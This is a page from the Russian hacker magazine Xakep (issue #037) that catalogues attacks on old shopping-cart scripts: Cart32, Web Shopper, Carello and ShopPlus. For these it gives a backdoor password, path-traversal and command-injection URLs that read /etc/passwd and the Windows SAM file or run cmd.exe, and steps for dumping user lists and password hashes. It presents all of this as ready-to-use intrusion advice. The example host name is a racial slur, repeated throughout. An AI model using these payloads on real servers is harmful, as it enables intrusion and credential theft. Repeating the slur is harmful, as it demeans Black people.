|

Потребительская корзина хакеров
Xakep, номер #037, стр. 037-056-2
Для использования данной корзинки надо для начала попробовать ее с параметром cart32clientlist. В случае, если она спросит пароль, то смело вводи "Wemilo" (это бэкдоор, заботливо оставленный нам разработчиками) и наслаждайся листингом пользователей корзинки (вместе с хешированными паролями и прочей конфиденциальной инфой). Далее пробуем скрипт c32web.exe. При его запросе он спрашивает у тебя логин, а потом пароль (декриптор паролей при особом желании можно найти даже на яндексе). Вводим только что увиденные пароли и потом просто нажимаем на кнопку "Show orders(non-secure)". Все, задача выполнена.
Частота использования: Используется достаточно часто, но старых версий, склонных к взлому, становится все меньше и меньше (4.5)
[ shopper.cgi ]
Полное имя:
Bytes Interactive's Web Shopper (shopper.cgi) Version 2.0 (и ниже)
Диагноз:
Удаленное исполнение команд на сервере
Эксплоит:
www.niggers.org/cgi-bin/shopper.cgi?newpage=../../../../etc/passwd
Описание:
Посмотри на этот кусок кода:
#$debug=1
if ($debug) {
...
foreach $vl (keys (%VALUES)) {
$er2 = ( $VALUES{$vl} =~ /(\[|;|>|<|&|\*|`|\\|]|\^|\||\?|'|~|\(|\)|\{|}|\$|\r|\n)/ );
# Remove any insecure relative path parts
$page =~ s/(\/\.\.\/)*//g;
$page =~ s/(\.\.\/)*//g;
$page =~ s/(.\/)*//g;
Видишь, вроде как все чисто, но все это работать будет только в том случае, если переменная $debug равна единице, но в коде она равна единице, но закомментирована! Следовательно, переменная равна нулю. Тогда вся эта заумная проверка не работает, а стоит здесь для мебели. Следовательно, параметр скрипта не проверяется на различные метасимволы, и мы можем творить с серваком абсолютно все что нам заблагорассудится.
Частота использования: Я нашел достаточно большое количество таких. (3.5)
[ carello.dll ]
Полное название:
Carello E-Commerce V1.2.1 for Windows NT (1.3 уже не подойдет)
Диагноз:
Удаленное исполнение команд на сервере
Эксплоит:
http://www.niggers.org/scripts/Carello/Carello.dll?CARELLOCODE=SITE2&VBEXE=C:\..\..\..\winnt\system32\cmd.exe%20/c%20echo%20test>c:\zlo.txt
Описание:
Программа в своем аргументе прописывает абсолютные пути к своим запускаемым скриптам, поэтому мы можем без проблем исполнить на сервере любую команду, например, "type c:\winnt\repair\sam". Полученные таким образом пароли остается только полофтить и вытрясти из серванта все, что там есть.
Частота использования: Я надеюсь, что где-то парочка таких программулек завалялась (хотя я не нашел) (0.5)
[ shopplus.cgi ]
Полное имя:
ShopPlus Shopping Cart
Диагноз:
Удаленное исполнение команд на сервере.
Эксплоит:
www.niggers.org/scripts/shopplus.cgi?dn=www.niggers.org&cartid=niggers.org&file=;cat%20/etc/passwd|
Описание:
Как обычно бывает, этот скрипт передает процедуре open() параметр, который ни на что не проверяется. Поэтому мы можем рулить удаленным серваком удаленно без особых затрат сил, времени и мозгов. Требуется только найти такой скрипт :).
Назад на стр. 037-056-1 Содержание Вперед на стр. 037-056-3
|